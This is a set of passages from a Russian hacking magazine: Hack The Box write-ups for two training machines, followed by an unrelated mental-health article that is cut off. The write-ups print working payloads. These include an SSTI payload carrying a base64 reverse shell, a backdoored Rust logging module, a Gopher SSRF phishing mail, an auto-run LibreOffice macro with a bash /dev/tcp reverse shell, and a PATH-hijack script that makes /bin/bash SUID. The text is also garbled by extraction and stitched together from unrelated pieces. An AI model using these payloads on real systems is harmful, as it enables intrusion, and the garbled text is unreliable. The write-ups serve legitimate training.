За даем нуж ные парамет ры и запус каем ска ниро вание:

  256  1 feroxbuster -k -u https://ssa.htb -t -d -w directory_2.3_
medium_lowercase.txt 

Ре зуль тат ска ниро вания катало гов с помощью feroxbuster

На ходим на сай те как админку, так и стра ницу авто риза ции.

ÒÎ×ÊÀ ÂÕÎÄÀ

Га дать, какая исполь зует ся тех нология, не приш лось, так как бан нер Powered
by Flask рас положен на глав ной стра нице.

Бан нер Powered by

Про тес тиру ем сер вис про вер ки под писи. Для это го сна чала сге нери руем
PGP-ключ, под пишем сооб щение, пос ле чего обе записи отпра вим на сайт.
При соз дании клю ча PGP нуж но ука зать имя и адрес элек трон ной поч ты.

pgp --gen-key

name1 
<email@mail.comp> 

Ге нери рова ние PGP-клю ча

За тем экспор тиру ем соз данный ключ. Его иден тифика тор — это стро ка вида
. Пос ле чего под пишем сооб щение

.

"имя" "адрес электронной почты"
message

gpg   -a -o pub.key --export 'name1 <email@mail.comp>'
 echo 'message' | gpg --clear-sign

Под пись сооб щения

Пе рехо дим к сер вису и переда ем экспор тирован ный ключ и под писан ное
сооб щение, пос ле чего про веря ем под пись.

Про вер ка под писи

Ре зуль тат про вер ки под писи

В отве те выводит ся имя, исполь зован ное при соз дании клю ча PGP. Так
как задей ство ван фрей мворк Flask и сер вер получа ет, обра баты вает
и выводит кон тро лиру емые поль зовате лем дан ные, с боль шой веро ятностью
при меня ются шаб лоны. В этом слу чае сто ит про верить наличие уяз вимос ти
SSTI.

ÒÎ×ÊÀ ÎÏÎÐÛ

SSTI
Сге нери руем новый ключ и вмес то име ни вве дем шаб лон .{{7*7}}

Соз дание клю ча PGP

Ес ли уяз вимость есть, то на мес те име ни мы уви дим резуль тат выпол нения
выраже ния — . Сно ва экспор тиру ем ключ, под писыва ем сооб щение

и отправ ляем их на сер вер.
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gpg   -a -o pub.key --export '{{7*7}} <q@q.comp>'
 echo 'message' | gpg --clear-sign

Ре зуль тат про вер ки под писи

И получа ем вмес то име ни резуль тат выпол нения выраже ния в шаб лоне. Так
мы узна ли, что сер вис уяз вим.

Server-Side Template Injection (SSTI), или инъ екция шаб лонов на сто роне сер- 
вера, — это механизм ата ки, при котором зло умыш ленник внед ряет в шаб лон
вре донос ный код. Шаб лоны нуж ны веб-раз работ чикам, что бы мож но было
нас тра ивать внеш ний вид сай та толь ко в одном мес те и затем не копиро вать
вруч ную. По сути, шаб лон — это документ HTML, где в нуж ных мес тах отме- 
чены перемен ные и коман ды, которые при генера ции ито говой стра ницы
будут замене ны дан ными. В том чис ле это могут быть и дан ные, получен ные
от посети теля сай та.

Ата ка зат рагива ет момент, ког да прис ланная информа ция объ еди няет ся
с шаб лоном. Зло умыш ленник фор миру ет стро ку таким обра зом, что бы она
не прос то под ста вилась в шаб лон, но была интер пре тиро вана как код. Если
это воз можно, то он добавит свои дирек тивы, с помощью которых выпол нит
эксфиль тра цию дан ных или даже зах ватит веб-сер вер.

Поп робу ем выпол нить реверс-шелл на Python. Для это го сна чала сге нери- 
руем его при помощи сер виса . На сай те ука- 
зыва ем адрес и порт локаль ного хос та и зада ем авто мати чес кое кодиро- 
вание наг рузки в Base64.

Online Reverse Shell Generator

Online Reverse Shell Generator

Вы пол нять закоди рован ный реверс-шелл будем при помощи вот такой конс- 
трук ции:

bash  -c "echo <BASE64-REVERSE-SHELL> |base64 -d | bash"

Для выпол нения коман ды через коман дную обо лоч ку исполь зуем сле дующую
наг рузку SSTI:

{{self.__init__.__globals__.__builtins__.__import__('os').popen(
'COMMAND').read()}}

Сге нери руем ключ с наг рузкой вмес то име ни.

.read  

{{ self.__init__.__globals__.__builtins__.__import__('os').popen(
'bash -c "echo 
cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY
2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIj
EwLjEwLjE0LjM3Iiw0MzIxKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHM
uZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5z
cGF3bigic2giKSc= 
| base64 -d | bash" ') () }}

Соз дание клю ча

Те перь при выч ным обра зом экспор тиру ем ключ и под писыва ем сооб щение.
Но перед отправ кой на про вер ку запус каем лис тенер (

). Сра зу же пос ле отправ ки получа ем сес сию поль зовате ля .

rlwrap nc -nlpv 
4321 atlas

Сес сия поль зовате ля atlas

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/epi052/feroxbuster
https://github.com/danielmiessler/SecLists
https://www.revshells.com/


ВЫХОДИМ ИЗ ПЕСОЧНИЦЫ
FIREJAIL И ПОВЫШАЕМ

ПРИВИЛЕГИИ В LINUX

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ

Sandbox Escape
Мы получи ли какой-то шелл, веро ятно уре зан ный, потому что не выпол няют- 
ся, нап ример, коман ды , ,  и . Воз можно, мы попали в песоч- 

ницу, что под твержда ем, прос мотрев каталог . Там мы находим

дру гой каталог — .

curl wget rm cp
~/.config

firejail

Со дер жимое катало га ~/.cong

 — это прос тая в исполь зовании сис тема изо лиро ван ного выпол нения

гра фичес ких, кон соль ных и сер верных при ложе ний, которая огра ничи вает
рабочую сре ду потен циаль но уяз вимых прог рамм и тем самым повыша ет
безопас ность сис тем. Для это го исполь зуют ся прос транс тва имен, филь тра- 
ция сис темных вызовов и воз можнос тей AppArmor.

Firejail

Так же видим каталог . HTTPie — это кон соль ный HTTP-кли ент,

который пред назна чен для тес тирова ния, отладки и обще го вза имо дей ствия
с HTTP-сер верами. Получим пол ный лис тинг со все ми под катало гами.

httpie

Все содер жимое катало га ~/.cong

В катало ге  видим дос тупный для чте ния

файл . В самом фай ле есть учет ные дан ные поль зовате ля

.

httpie/sessions/localhost_5000
admin.json

silentobserver

Со дер жимое фай ла admin.json

С най ден ными учет ными дан ными под клю чаем ся по SSH и забира ем пер вый
флаг.

Флаг поль зовате ля

Ïîëüçîâàòåëü atlas
Те перь у нас есть пол ноцен ная обо лоч ка и нам нуж но соб рать информа цию.
Я, как обыч но, исполь зую для это го скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг ружа ем на хост скрипт для Linux, даем пра во на выпол нение и прис тупа ем
к ска ниро ванию.

Об наружи ваем, что для при ложе ния  уста нов лен бит SUID,
но оно дос тупно толь ко груп пе поль зовате ля .

firejail
jailer

При ложе ния с SUID-битом

В катало ге  находим два про екта, которые отно сят ся к груп пе поль- 
зовате ля .

/opt
atlas

Со дер жимое катало га opt

Фай лы одно го из этих про ектов мы можем модифи циро вать.

Фай лы, дос тупные для записи

В дереве про цес сов видим запущен ную через cron от име ни поль зовате ля
 коман ду .atlas cargo run --offline

Де рево про цес сов

Так как cron запус кает какие-то при ложе ния, пос мотрим, что запуще но пря мо
сей час, при помощи ути литы . В ее выводе находим запуск най ден ной
коман ды.

pspy64

Вы вод ути литы pspy64

Так как запус кает ся файл из про екта , прос мотрим исходный код при- 
ложе ния .

tipnet
/opt/tipnet/src/main.rs

Со дер жимое фай ла main.rs

Это прог рамма на Rust, которая вза имо дей ству ет с базой дан ных MySQL. Код
поз воля ет выпол нять зап росы и манипу лиро вать дан ными в базе дан ных.
Кро ме того, прог рамма может искать записи в базе дан ных по клю чевым сло- 
вам и регис три ровать дей ствия в жур нале. Но самой пер вой стро кой под клю- 
чает ся модуль . А его мы можем най ти в про екте, где у нас есть пра во
на запись.

logger

Со дер жимое катало га /opt/crates/logger/src

Со дер жимое фай ла lib.rs

Да вай запишем в код бэк дор, что бы при каж дом вызове фун кции  мы

получа ли реверс-шелл на порт 4321. Код реверс-шел ла на Rust 
.

log
дос тупен

на GitHub

  extern crate chrono;

 use std::net::TcpStream;
  use std::os::unix::io::{AsRawFd, FromRawFd};
  use std::process::{Command, Stdio};

 use std::fs::OpenOptions;
 use std::io::Write;
 use chrono::prelude::*;

        pub fn log(user: &str, query: &str, justification: &str) {
     let sock = TcpStream::connect("10.10.14.37:6543").unwrap();

     let fd = sock.as_raw_fd();

  Command::new("/bin/bash")
      .arg("-i")

         .stdin(unsafe { Stdio::from_raw_fd(fd) })
         .stdout(unsafe { Stdio::from_raw_fd(fd) })
         .stderr(unsafe { Stdio::from_raw_fd(fd) })

      .spawn()
      .unwrap()
      .wait()
      .unwrap();

     let now = Local::now();
     let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
     

    
let log_message = format!("[{}] - User: {}, Query: {}, 

Justification: {}\n", timestamp, user, query, justification);

       
 

let mut file = match OpenOptions::new().append(true).create(true).
open("/opt/tipnet/access.log") {

        Ok(file) => file,
        Err(e) => {

           println!("Error opening log file: {}", e);
          return;
      }
  };

       if let Err(e) = file.write_all(log_message.as_bytes()) {
       println!("Error writing to log file: {}", e);

  }
}

За тем собира ем модуль и ждем, ког да при летит бэк коннект.

cargo build 

Сбор ка про екта

Сес сия поль зовате ля atlas

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

При раз ведке мы так же опре дели ли, что у исполня емо го фай ла 

выс тавлен S-бит. Теперь мы можем этим вос поль зовать ся. При помощи 
 для выхода из песоч ницы мы получим сес сию с теми же при виле- 

гиями, с которы ми был запущен . А так как мы можем запус кать его

от име ни root, то это явный путь к повыше нию при виле гий. Толь ко одной сес- 
сии будет мало, поэто му вер немся к пре дыду щему шагу и сде лаем себе
еще одну сес сию на пор те 6543. Затем заг ружа ем экс пло ит на хост и запус- 
каем в пер вой сес сии.

firejail
экс- 

пло ита
firejail

За пуск экс пло ита

Он покажет нам сле дующую коман ду, которую мы запус каем во вто рой сес- 
сии.

По луче ние при виле гиро ван ного шел ла

Как мож но видеть, во вто рой сес сии мы сра зу получа ем новый шелл.
И теперь мы можем изме нить поль зовате ля на root без вво да вся ких паролей.

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
https://github.com/DominicBreuker/pspy
https://github.com/LukeDSchenk/rust-backdoors/blob/master/reverse-shell/src/main.rs
https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25
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ВЗЛОМ

В этом рай тапе я покажу, как искать и экс- 
плу ати ровать уяз вимос ти use after free
и path hijacking для повыше ния прав в сис-
теме. А для начала заюзаем SSRF
для отправ ки фишин говой ссыл ки с вре- 
донос ным мак росом, что бы про ник нуть
на хост.

А поможет нам в этом тре ниро воч ная машина Gofer с пло щад ки .
Уро вень ее — слож ный.

Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.225 gofer.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел нес коль ко откры тых пор тов:
22 — служ ба OpenSSH 8.4p1;•
80 — веб-сер вер Apache 2.4.56;•
139 и 445 — служ ба Samba 4.6.2.•

Так же мы узна ём, что филь тру ется под клю чение к пор ту 25, по которо му
работа ет служ ба SMTP.

Пер вым делом про верим SMB, в отли чие от веба этот про токол не пот- 
ребу ет мно го вре мени для ана лиза.

enum4linux -a gofer.htb 

Ре зуль тат ска ниро вания служ бы Samba

В выводе боль ше все го инте ресен спи сок общих ресур сов SMB. К некото рым
катало гам мы можем получить дос туп без исполь зования учет ных дан ных.

ÒÎ×ÊÀ ÂÕÎÄÀ

Под клю чаем ся к SMB-ресур су, где мы находим каталог , а в нем сох- 

ранен ное сооб щение.

backup

smbclient //gofer.htb/shares 

Со дер жимое обще го ресур са

Ска чива ем сооб щение и чита ем. Там говорит ся о поль зовате ле, который
перехо дит по всем фишин говым ссыл кам, поэто му поч та теперь работа ет
толь ко для внут ренних поль зовате лей. При этом теперь будут откры вать ся
толь ко докумен ты ODT.

Со дер жимое фай ла mail

Уч тем это на будущее и перей дем к сай ту.

Глав ная стра ница сай та

На самом сай те ничего инте рес ного, кро ме спис ка сот рудни ков. Поэто му
прис тупа ем к ска ниро ванию.

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де ,  или . Я пред почитаю

.
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feroxbuster
При запус ке ука зыва ем сле дующие парамет ры:

 — URL;• -u

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — глу бина ска ниро вания.• -d

За даем нуж ные парамет ры и запус каем ска нер:

 256  1 feroxbuster -u http://gofer.htb/ -t -d -w directory_2.3_medium_
lowercase.txt 

Ре зуль тат ска ниро вания катало гов с помощью feroxbuster

Но вых фай лов и катало гов не обна ружи ли, поэто му перехо дим к сле дующе му
шагу — ска ниро ванию под доменов. Делать это будем с помощью .
Парамет ры те же, что у feroxbuster, но добавят ся еще два:

ffuf

 — HTTP-заголо вок;• -H

 — филь тр по коду отве та.• -fc

ffuf   -u http://gofer.htb -H 'Host:FUZZ.gofer.htb' -w subdomains-
bitquark-top100000.txt -fc 400,301 

Ре зуль тат ска ниро вания под доменов

До бав ляем най ден ный под домен в файл  и про веря ем новый

сайт. Там нас встре чает HTTP-аутен тифика ция.

/etc/hosts

10.10.11.225 gofer.htb proxy.gofer.htb 

Зап рос учет ных дан ных

HTTP auth bypass

Есть нес коль ко спо собов обхо да неп равиль но нас тро енной HTTP-аутен- 
тифика ции. Самый прос той и быс трый — сме на метода зап роса с GET
на POST (либо PUT).

GET-зап рос в Burp Repeater

В Burp Repeater лег ко это сде лать, дос таточ но выб рать нуж ный пункт в кон- 
текс тном меню.

POST-зап рос в Burp Repeater

И при POST-зап росе получа ем уже дру гой ответ.

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/epi052/feroxbuster
https://github.com/danielmiessler/SecLists
https://github.com/ffuf/ffuf
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В получен ном отве те нам сооб щают, что в URL не хва тает парамет ра. Мож но
переб рать парамет ры по сло варю и най ти такой ответ сер вера, который, воз- 
можно, будет отли чать ся от основной мас сы. Для перебо ра я исполь зую Burp
Intruder.

Burp Intruder — вклад ка Positions

Что бы в таб лице резуль татов отоб ражал ся ответ сер вера, перей дем к вклад- 
ке Settings, выберем опцию Grep → Extract и ука жем инте ресу ющую нас
позицию.

Burp Intruder — вклад ка Settings

Burp Intruder — резуль тат ата ки

Та ким обра зом обна ружи ваем параметр .url

SSRF

Так как мы дол жны передать URL, мож но пред положить, что сер вис выпол нит
зап рос на него. Для тес та запус тим веб-сер вер:

python3 -m http.server 80 

И ука жем на сай те свой адрес. В логах веб-сер вера уви дим под клю чение,
а на сай те отоб разит ся лис тинг катало га веб-сер вера.

Ло ги веб-сер вера

Ре зуль тат выпол нения зап роса

Сра зу про веря ем наличие уяз вимос ти SSRF, которая поз волит обра щать ся
к внут ренним ресур сам и сер висам сис темы. Одна ко зап рос к 
бло киру ется, пос коль ку сло во находит ся в чер ном спис ке. Но мы можем най- 
ти вари анты, которые не будут филь тро вать ся.

localhost

Ре зуль тат выпол нения зап роса

Про буем про читать файл  через про токол . В этом слу чае

нам сооб щают, что бло киру ется пос ледова тель ность .

/etc/passwd file
file://

Ре зуль тат выпол нения зап роса

Тог да поп робу ем обра тить ся, ука зав не , а . И это поз воля ет
нам получить содер жимое фай ла.

file:// file:/

Со дер жимое фай ла /etc/passwd

По читав на сер вере нес коль ко фай лов, ничего цен ного не находим. Тог да я
решил про верить очень инте рес ный век тор: через SSRF и Gopher. Давай поп- 
робу ем отпра вить сооб щение тому самому поль зовате лю, который откры вает
все ссыл ки. По ссыл ке будет рас положен документ ODT, выпол няющий мак- 
рос с реверс-шел лом.

Для это го нам нуж но узнать поч товый адрес поль зовате ля и как-то обой ти
филь тр, что бы обра щать ся к локаль ному хос ту через SSRF. Из пись ма мы зна- 
ем имя поль зовате ля — Jocelyn. Находим его фамилию на сай те и сос тавля- 
ем прав доподоб ный поч товый адрес по тому же шаб лону, что и у отпра вите- 
ля. Получа ется .jhudson@gofer.htb

Спи сок поль зовате лей

Те перь нам нужен адрес, который поможет обой ти филь тра цию. Здесь нас
выручит Burp Intruder и спи сок для обхо да SSRF. Так же на вкла де Settings
уста новим опцию Extract.

Burp Intruder — вклад ка Positions

Burp Intruder — вклад ка Settings

Ре зуль тат перебо ра

По резуль татам ска ниро вания видим, что мож но закоди ровать
адрес 127.0.0.1 в Hex.

Gopher mail

Че рез най ден ную SSRF поп робу ем отпра вить сооб щение со ссыл кой целево- 
му поль зовате лю. Берем сле дующее сооб щение и кодиру ем все сим волы 

 как .
\r\

n %0d%0a

gopher://0x7f000001:25/xHELO 
MAIL FROM:<jdavis@gofer.htb> 
RCPT TO:<jhudson@gofer.htb> 
DATA 
From: <jdavis@gofer.htb> 
To: <jhudson@gofer.htb> 
Subject: Link 

http://10.10.16.23/file.odt 

. 
QUIT 

Ис ходное сооб щение

Со обще ние, закоди рован ное URL

На локаль ном хос те запус тим веб-сер вер на Python и выпол ним зап рос, где
в парамет ре  будет переда вать ся сфор мирован ная наг рузка.url

Ре зуль тат выпол нения зап роса

Ког да сер вер зап росит этот URL, поль зовате лю Jocelyn отпра вит ся сооб- 
щение со ссыл кой. Если он перей дет по ней, мы уви дим зап рос к фай лу
на нашем веб-сер вере.

Ло ги веб-сер вера

Век тор ока зал ся вер ным, теперь сфор миру ем документ с мак росом.

Office phishing

От кры ваем LibreOffice и в меню выбира ем Tools → Macros → Organize Macros
→ Basic, где находим текущий документ.

При ложе ние LibreOffice

Ок но управле ния мак росами

Соз даем новый мак рос, который выпол нит реверс-шелл.

Sub Main 
      Shell("bash -c 'bash -i >& /dev/tcp/10.10.16.23/4321 0>&1'")
End Sub 

Ок но изме нения мак роса

А теперь нас тро им авто запуск мак роса при откры тии докумен та. Для это го
в окне управле ния мак росами кли каем по пун кту Assign, где перехо дим
на вклад ку Event и выбира ем событие Open Document. Которо му через Macro
Selector наз нача ем соз данный мак рос.

Нас трой ка авто запус ка мак роса

Нас трой ка события Open Document

Сох раня ем в фор мате ODT и заг ружа ем на веб-сер вер документ.
За пус каем лис тенер:

pwncat-cs -lp 4321 

За тем пов торя ем фишин говую ата ку и получа ем кон нект.

Флаг поль зовате ля

Продолжение статьи →
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Те перь нам необ ходимо соб рать информа цию и при кинуть вари анты прод- 
вижения. Я, как всег да, буду исполь зовать для это го скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Мы получи ли мно го информа ции, отбе рем самое важ ное.
При виле гия Linux , выдан ная tcpdump, поз воля ет нам

исполь зовать эту коман ду для сниф финга тра фика.

cap_net_admin

Оп ция tcpdump

Linux capabilities

Из фай ла  получа ем хеш пароля для поль зовате ля ..htpasswd tbuckley

Со дер жимое фай ла /etc/apache2/.htpasswd

Сре ди исполня емых фай лов с выс тавлен ным битом SUID есть неиз вес тный: 

.

/
usr/local/bin/notes

Фай лы с уста нов ленным SUID-битом

Так же я всег да про веряю запус каемые про цес сы с помощью . В логах
видим зап рос к уже зна комо му сай ту, где переда ются учет ные дан ные
для HTTP-аутен тифика ции.

pspy64

Ло ги pspy64

Ви димо, задум ка авто ра машины была в том, что бы реша ющий записал тра- 
фик и нашел этот зап рос в дам пе. Но обна ружил ся и дру гой путь для получе- 
ния логина и пароля. С получен ными учет ными дан ными авто ризу емся в сис- 
теме.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь перехо дим к неиз вес тно му исполня емо му фай лу с S-битом.
При запус ке он пре дос тавля ет нам выбор нес коль ких дей ствий.

Ре зуль тат запус ка исполня емо го фай ла

Ско пиру ем этот файл на локаль ный хост и откро ем в любом удоб ном деком- 
пилято ре. Я исполь зую IDA Pro с Hex-Rays.

scp tbuckley@gofer.htb:/usr/local/bin/notes ./ 

Я нем ного пре обра зовал код, что бы его было удоб нее ана лизи ровать.
Теперь мы можем разоб рать поведе ние прог раммы при выборе каж дого
из пред ложен ных вари антов.
1. В этом вари анте с помощью  выделя ется 40 байт, где пер- 

вые 24 будут запол нены вве ден ным име нем поль зовате ля, а с 24-го бай та
будет хра нить ся роль поль зовате ля:  или  (стро ки 31–50).

malloc

user admin

2. Эта вет ка кода отве чает за вывод текущих име ни поль зовате ля и его роли
(стро ки 51–56).

3. С помощью  осво бож дает ся память, выделен ная для име ни поль- 

зовате ля.

free

Псев докод фун кции main

4. В этом вари анте сно ва выделя ется 40 байт, но теперь для сох ранения
замет ки (стро ки 61–68).

5. Вы водит замет ку на экран (стро ки 69–71).
6. По ка ни для чего не пред назна чен.
7. Ос вобож дает память, выделен ную под замет ку.
8. Са мый инте рес ный блок кода: если поль зователь сущес тву ет и явля ется

адми нис тра тором, то от име ни поль зовате ля  выпол нится коман да

.

root
tar

Псев докод фун кции main (про дол жение)

Так как путь к исполня емо му фай лу  не ука зан, сис тема пос ледова тель но

будет искать его по путям, ука зан ным в . А это откры вает дорогу к ата ке

path hijacking. Для это го нам нуж но соз дать свой скрипт с име нем 
и добавить в  каталог, в котором он будет рас положен. Тог да при вызове

фун кции  запус тится наш скрипт .

tar
PATH

tar
PATH

system tar

   echo '#!/bin/bash' > tar
   echo 'chmod u+s /bin/bash' >> tar
777 chmod tar

~:export PATH= $PATH

Соз дание скрип та tar

Те перь решим воп рос, как прой ти про вер ку на адми нис тра тора. Оба вари- 
анта осво бож дения памяти выпол нены без ее очис тки. И в слу чае с замет кой
(где мы можем записать 39 байт), и в слу чае с име нем поль зовате ля (где мы
можем записать 24 бай та) выделя ется 40 байт. Но дело в том, что если
выделить память фун кци ей , а затем осво бодить с помощью 

и сно ва выделить с помощью  блок памяти того же объ ема, то будет

выделе на память по одно му и тому же адре су! Вот почему важ но перед осво- 
бож дени ем очи щать память с помощью , а ука зате лю прис ваивать

зна чение 0. При уда лении поль зовате ля это го не про исхо дит.

malloc free
malloc

memset

По луча ется, что мы можем соз дать поль зовате ля, а затем уда лить его, что- 
бы выз вать , затем , а затем ини циали зиро вать перемен ную

, где хра нит ся имя поль зовате ля.

malloc free
input

Соз дание и уда ление поль зовате ля

Те перь при соз дании замет ки будет выделен блок памяти, который толь ко что
был осво бож ден, но на него будет ука зывать не толь ко перемен ная , отве- 

чающая за замет ку, но и перемен ная , отве чающая за поль зовате ля!

ptr
input

За пол няем замет ку ран домны ми 24 сим волами, пос ле которых записы- 
ваем стро ку . Тог да перемен ная  будет содер жать роль .

Теперь при выборе пос ледне го пун кта мы прой дем про вер ку на адми нис тра- 
тора. Это го мож но было бы избе жать, если бы перемен ной  прис ваива- 
лось зна чение 0 в вет ке 3. Эта уяз вимость носит наз вание use after free, так
как мы исполь зуем ука затель на блок памяти пос ле осво бож дения и переза- 
писи.

admin input+24 admin

input

Экс плу ата ция UAF

В скрип те  мы наз начили S-бит фай лу коман дной обо лоч ки 

и можем повысить при виле гии до рута.

tar /bin/bash

Про вер ка фай ла /bin/bash

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
https://github.com/DominicBreuker/pspy
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В нояб ре за окном серое небо и голые
деревья, а зна чит, нам надо пос тарать ся,
что бы кукуш ка оста лась дома, кры ша сто- 
яла на положен ном мес те и чер дак не про- 
текал. В этой статье ты най дешь под борку
советов, как помочь себе находить ся в ста- 
биль ном душев ном сос тоянии. Что может
быть акту аль нее в такие вре мена, вер но?

По явле ние такой статьи в «Хакере», воз можно, уди вит тебя, одна ко редак- 
цион ный совет еди ног ласно под держал экспе римент. Почему бы не поп- 
робовать разок-дру гой уда лить ся от наших обыч ных тем и не написать
о вещах, которые могут помочь кому-то из читате лей сде лать свою жизнь луч- 
ше? Статья дос тупна без плат ной под писки, так что, если пон равит ся,
не забудь поделить ся ссыл кой с друзь ями.

Сра зу пре дуп реждаю, что боль шая часть соб ранных здесь советов —
это самый обык новен ный и уже набив ший всем оско мину ЗОЖ, то есть здо- 
ровый образ жиз ни. Но при чем здесь ЗОЖ, если речь идет не о физичес ком
здо ровье, а о мен таль ном? Сей час раз берем ся.

Ес ли у тебя реаль но едет кры ша, то бро сай читать эту статью и записы вай ся
на при ем к вра чу. Приз наки, которые нель зя игно риро вать:

прис тупы агрессии;•
па ничес кие ата ки;•
по теря инте реса к жиз ни, к людям, к сво им увле чени ям;•
не жела ние делать базовые дей ствия, нап ример при нимать душ;•
склон ность при чинять себе вред, навяз чивые мыс ли об этом;•
час тые кош марные сно виде ния или бес сонни ца;•
пос тоян ная уста лость, сон ливость;•
проб лемы с аппе титом (пере еда ние либо, наобо рот, отсутс твие аппе- 
тита);

•

фо бии, навяз чивые при выч ки, которые тебе меша ют;•
не объ ясни мые сме ны нас тро ения;•
не умес тные и спон танные эмо циональ ные реак ции;•
тре вож ность, отча яние, безыс ходность, суици даль ные мыс ли.•

ÇÀ×ÅÌ ÌÍÅ ÝÒÎ?

Ес ли тебе кажет ся, что ты не живот ное, а дав но эво люци они ровал и теперь
твой разум пре обла дает над жал ким зем ным телом, спе шу тебя разоча- 
ровать. Твое мен таль ное сос тояние нас толь ко силь но зависит от брен ной
обо лоч ки, что даже обид но. Вся эта соз натель ность, воля и сила духа дер- 
жатся на базовом здо ровье тела.

С точ ки зре ния эво люции тот пери од, ког да наш вид ведет всю эту
интеллек туаль но-духов ную жизнь, очень нез начите лен. При мер но как тон кий
налет мха на огромном валуне веков, в течение которых человек учил ся
выживать в дикой при роде и пер вобыт ных общес твах.

По это му пос ледние поколе ния людей так кро ет по час ти душев ного здо- 
ровья: мир изме нил ся кар диналь но, а человек в глу бине остался древ ним.
Наш мозг прис пособ лен сов сем к дру гой жиз ни, а мы перег ружа ем его неп- 
рерыв ным потоком информа ции, раз рознен ными вза имо дей стви ями,
дешевым дофами ном и, глав ное, стрес сом. Осо бен но тяжело при ходит ся
айтиш никам, у которых компь ютер — это и работа, и хоб би, и все виды дос- 
тупно го отды ха одновре мен но.

По жалуй, мож но сме ло ска зать, что любой чита ющий эту статью испы тыва- 
ет на себе дол говре мен ный стресс и его раз рушитель ные пос ледс твия —
осо бен но в пос ледние годы.

Это рас шатыва ет наше сос тояние, дела ет нас более уяз вимыми и неус- 
той чивыми под воз дей стви ем внеш них событий и внут ренних про цес сов.
А вот ког да ты здо ров, выс пался, отдохнул и хорошо поел, сог ласись, тебя
нам ного слож нее выбить из колеи — ты устой чив и готов бороть ся!

По луча ется, твое пси хичес кое сос тояние, поведе ние и нас тро ение силь но
зависят от того, нас коль ко хорошо ты заботишь ся о сво ем теле. Усло вия
прос ты: обес печь сво ей пещер ной сос тавля ющей самый пре миаль ный сер- 
вис — и она откро ет новый уро вень про дук тивнос ти для тво его дра гоцен ного
высоко раз витого соз нания. Так что с раз говора о теле мы и нач нем.

ÐÅÆÈÌ È ÎÒÄÛÕ

О режиме нес прос та говорят из каж дого утю га. Пос тоян ный режим дня
помога ет нер вной сис теме нор маль но работать, тем самым ста били зиру ет
пси холо гичес кое сос тояние, повыша ет качес тво сна и помога ет иммунной
сис теме. Уж не говоря о про дук тивнос ти: если делать одни и те же дей ствия
в под ходящее вре мя, тебе будет лег че прис тупить и не отвле кать ся, будет
мень ше прок расти нации — так мож но натас кать себя на сос редото чен ную
работу по рас писанию.

Ко неч но, совет «наладить режим» уже сидит в печен ках у каж дого. Мы ско- 
рее поп робу ем на себе випас сану и мик родозинг мухомо ров, толь ко бы
не тер зать свою волю налажи вани ем режима сна и бодрство вания, работы
и отды ха.

Есть такое понятие — ГГН-ось, или 
. Это «стрес совая сис тема», которая  выработ ку кор- 

тизола. Кор тизол — это гор мон, отве чающий за нап ряжение, соб ранность,
кон цен тра цию, про тивос тояние стрес су, он так же учас тву ет в регули рова нии
